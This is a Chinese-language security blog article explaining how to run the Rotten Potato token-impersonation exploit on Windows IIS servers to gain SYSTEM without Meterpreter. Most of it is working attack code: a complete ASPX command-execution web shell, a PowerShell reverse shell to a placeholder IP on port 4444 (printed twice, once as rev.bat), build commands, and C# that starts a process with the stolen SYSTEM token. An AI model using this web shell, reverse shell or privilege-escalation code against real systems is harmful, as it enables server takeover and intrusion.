标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-1243]   作者: ecawen 发表于: [2018-01-02]

本文共 [865] 位读者顶过

写在前面的话

如果你之前没听说过Rotten Potato的话,请大家在阅读本文之前先看看这篇有关使用Rotten Potato实现服务帐号提权的【文章】。[出自:jiwo.org]
它的实现机制可谓是相当复杂,它允许我们拦截NTLM认证挑战请求并伪造目标用户的安全访问令牌,而这个过程发生在DCOM激活过程中(目标用户账号需要运行BITS-后台智能传输服务服务实例)。
访问令牌是什么?它是一种用来描述Windows进程或线程安全状态的对象,它跟会话Cookie有些类似。
而我们所需要的就是一个拥有相应权限的进程。一般来说,用户所运行的SQL server服务或者ISS服务都会拥有这种权限,所以如果我们能够拿到这些系统中的Shell或者在其中实现命令执行,那我们就成功了一半了。更加搞笑的是,微软并没有修复这个安全问题,可能他们认为这也是一种“专门设计的功能”吧…
我并不打算在本文中跟大家深入讨论技术细节方面的内容,我只想告诉大家如何在不依赖于Meterpreter以及incognito模块的情况下去使用这个PoC。

 

PoC利用

首先,我们需要在Windows(Windows 7-Windows 2016均可)上安装IIS,,然后将“command”.aspx页面(代码在下面给出)拷贝到webroot目录之中。
下面给出的是一份简单的脚本代码:

< %@ Page Language="VB" Debug="true" >
< %@ import Namespace="system.IO" % >
< %@ import Namespace="System.Diagnostics">

<script runat="server">
Function RunCmd(command)
Dim res as integer Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(“c:windowssystem32cmd.exe”)
myProcessStartInfo.UseShellExecute = false myProcessStartInfo.RedirectStandardOutput = true myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=”/c “ + command myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
RunCmd= MyString
End Function
</script>

<html>

<body>

<form action="cmd.aspx" method=POST>
Enter your shell command <input type=text name=cmd size=4>
<input type=submit name=go></form>

< % if request(“cmd”) <> “” then response.write(“

<pre>“+ RunCmd(request(“cmd”))+ “</pre>
“)
end if %>
</body></html>

Webshell正常工作,具体如下图所示(ISS默认的apppool):

我们所拥有的权限信息如下所示(whoami/priv):

我们已经拿到了我们所需要的权限,而剩下的就是拿到一个交互式的反向Powershell:

powershell -nop -c “$c = New-Object System.Net.Sockets.TCPClient(‘IP’,4444); $st = $c.GetStream();[byte[]]$b = 0..65535|%{0}; while(($i = $st.Read($b, 0, $b.Length)) -ne 0){; $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i); $sb = (IEX $d 2>&1 | Out-String ); $sb2 = $sb + ‘PS ‘ + (pwd).Path + ‘> ‘; $sby = ([text.encoding]::ASCII).GetBytes($sb2); $st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()”


非常好,我们的反向Shell也能够正常运行。

接下来,我们需要从GitHub代码库【传送门】中下载Rotten Potato PoC(C#),然后在Visual Studio中打开项目代码。

打开之后,我们先看看“Potato”项目中的_LocalToken.cs文件:

其中的mygetuser()函数告诉我们,我们现在已经是“SYSTEM”了,如果我们直接在Meterpreter会话中运行我们的漏洞利用代码,那我们就可以窃取到“SYSTEM”令牌,并用它来伪装成该系统中的特殊用户了。

但是我们的要求是避免使用Meterpreter,所以我们需要用不同的方法来实现这个目标。

首先,我们需要确保一切都能够正常运行,因此我们需要添加一下自定义代码:

为了得到SYSTEM令牌,我们需要调用QuerySecurityContext() API,然后在新的状态下伪造令牌。接下来,我们还需要尝试在目录c:windows下创建一个子目录。

完成了整个项目的编译之后,我们需要使用ILMerge.exe来创建一个单独的可执行程序。如果你选择的是Framework 3.5版本以上的平台,别忘了修改代码中的 .NET框架版本。可供参考的样本代码如下所示:

ILMerge.exe Potato.exe NHttp.dll

SharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll /out:myrotten.exe /targetplatform:v4,”C:Program Files (x86)Reference AssembliesMicrosoftFramework.NETFrameworkv4.5”

这里我就不介绍如何将生成的可执行程序上传到c:windowstemp目录中了,因为你应该知道怎么用PowerShell的反向Shell来完成上传了吧?

如果一切顺利的话,你应该可以通过启动myrotten.exe并在c:windows目录下创建一个名叫“rottenpotato”的子目录了。

非常好,我们的漏洞利用PoC可以成功运行了,接下来我们继续往下看。

我们的策略如下:

其实我们并不需要跟“incognito“进行交互,我们准备通过命令行来启动一个新的进程,然后伪装成SYSTEM用户。

首先,我们需要对Program.cs的Main()函数进行一些调整:

我们需要在公共静态字符串CmdLine中存储我们将要调用的程序名称,例如一个反向PowerShell。

接下来就是最重要的部分了,那么为了使用SYSTEM令牌生成一个新的进程,我们需要调用哪一个Windows API呢?

思考片刻之后,我们设计出了以下两种备选方案:

方案一

BOOL WINAPI CreateProcessAsUser(
_In_opt_ HANDLE hToken,
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);

方案二

BOOL WINAPI CreateProcessWithTokenW(
_In_ HANDLE hToken,
_In_ DWORD dwLogonFlags,
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInfo
);

这些函数其实都是差不多的,它们都接受令牌来作为输入参数。但它们的主要区别在于:

CreateProcessWithTokenW()使用起来限制更少一点,因为它只需要SeImpersonate权限。但是,它似乎无法在Session 0(我们的shell运行在其中,因为我们是从IIS服务中启动的shell)中正常工作。

CreateProcessAsUser()同样需要SeAssignPrimaryToken权限(我们有这个权限),但是它可以在Session 0中运行。
因此,对于我们来说,我们当然要选择CreateProcessAsUser()了。

我们需要设置RunMyProcessAsUser()函数,并用它来传递我们之前所获取到的令牌。

public class MyProcess {
  [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
  { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessID; public Int32 dwThreadID;
   }
  [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
  { public Int32 Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle;
  }
  [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
  { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError;
  }
 
[DllImport("advapi32.dll",
 EntryPoint = "CreateProcessAsUser", SetLastError = true,
 CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall) ] public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
}
 . . . . public bool RunMyProcessAsUser(IntPtr hToken) {
 
   MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION();
   MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES();
   MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO(); try {
     sa.Length = Marshal.SizeOf(sa);
     si.cb = Marshal.SizeOf(si);
     si.lpDesktop = String.Empty; bool result = MyProcess.CreateProcessAsUser(
                   hToken,
                   Program.CmdLine,
                   String.Empty, ref sa, ref sa, false, 0, IntPtr.Zero, @"C:\", ref si, ref pi
                   ); if (!result)
     { int error = Marshal.GetLastWin32Error();
          Console.WriteLine(String.Format("RunMyProcess Error: {0}", error)); return false;
      }
      Console.WriteLine("Executed:" + Program.CmdLine);
      Process currentProcess = Process.GetCurrentProcess();
  } finally { if (pi.hProcess != IntPtr.Zero)
      MyProcess.CloseHandle(pi.hProcess); if (pi.hThread != IntPtr.Zero)
       MyProcess.CloseHandle(pi.hThread);
   } return true;
 }

声明完必要的数据结构以及API调用之后,我们则需要调用CreateProcessAsUser()来传递必要的参数,首先就是我们的令牌,其次是需要执行的命令以及某些默认配置值。需要提醒大家的是,我们的工作目录为C:。

正如你所看到的那样,在创建进程之前,我们不打算通过调用DuplicateTokenEx()函数来拷贝我们的令牌,因为我们没必要这样做。

我们将在下面代码中调用我们的函数:

现在,我们需要把所有的东西整合起来进行编译,并对我们的成果进行测试。但是在开始之前,我们要把我们的rev.bat上传到c:\windows\temp目录中。

powershell -nop -c
“$client = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()”

接下来就是见证奇迹的时刻了!

在PS反向Shell(IIS用户)中,我们能够调用我们的myrotten.exe了:

我们的监听控制台情况如下所示:

终于成功啦!

 

总结

正如你所看到的那样,在这篇文章中我只跟大家介绍了如何让相关代码正常工作,大家也可以根据自己的需要来修改项目代码(C#),也欢迎有能力的同学们可以去本项目的GitHub上贡献自己的代码。

评论

暂无
发表评论
 返回顶部 
热度(865)
 关注微信